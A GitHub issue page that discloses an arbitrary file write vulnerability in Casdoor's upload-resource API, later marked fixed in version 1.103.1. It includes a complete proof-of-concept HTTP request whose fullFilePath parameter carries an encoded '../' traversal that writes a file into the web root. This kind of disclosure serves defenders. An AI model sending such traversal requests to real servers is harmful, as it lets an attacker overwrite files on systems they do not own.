Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Arbitrary file write/overwrite Vulnerability #1035

Closed
Geometry6151 opened this issue Aug 19, 2022 · 3 comments · Fixed by #1063
Closed

Arbitrary file write/overwrite Vulnerability #1035

Geometry6151 opened this issue Aug 19, 2022 · 3 comments · Fixed by #1063
Assignees
Labels
question Further information is requested released

Comments

@Geometry6151
Copy link

Hi, I found a security issue, when the upload provider is Storage Local File System, the fullFilePath parameter of the interface /api/upload-resource will have a directory spanning problem, the user can specify a relative path to write malicious files to the file system, or even overwrite the files, my request message is shown below:

image

POST /api/upload-resource?owner=built-in&user=admin&application=app-built-in&tag=custom&parent=provider_storage_local_file_system&fullFilePath=resource%2F%2e%2e%2F%2e%2e%2Fweb%2Fbuild%2Fflag.html&provider=provider_storage_local_file_system HTTP/1.1
Host: door.casdoor.com
Cookie: casdoor_session_id=2fd9ab275d8d65ea296ab327fd92166a
Content-Length: 192
Sec-Ch-Ua: ".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUPAwhIoXMrbemuJM
Accept: */*
Origin: https://door.casdoor.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://door.casdoor.com/resources
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryUPAwhIoXMrbemuJM
Content-Disposition: form-data; name="file"; filename="spider.png"
Content-Type: image/png

I'm here.
------WebKitFormBoundaryUPAwhIoXMrbemuJM--

Then we can find out that the problem does occur by following this link。
https://door.casdoor.com/flag.html
image

@casbin-bot
Copy link
Contributor

@casbin-bot casbin-bot added the question Further information is requested label Aug 19, 2022
@casbin-bot
Copy link
Contributor

🎉 This issue has been resolved in version 1.103.1 🎉

The release is available on GitHub release

Your semantic-release bot 📦🚀

@tanish-mahajan
Copy link

Authentication is required for exploiting this issue?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
question Further information is requested released
Projects
None yet
Development

Successfully merging a pull request may close this issue.

4 participants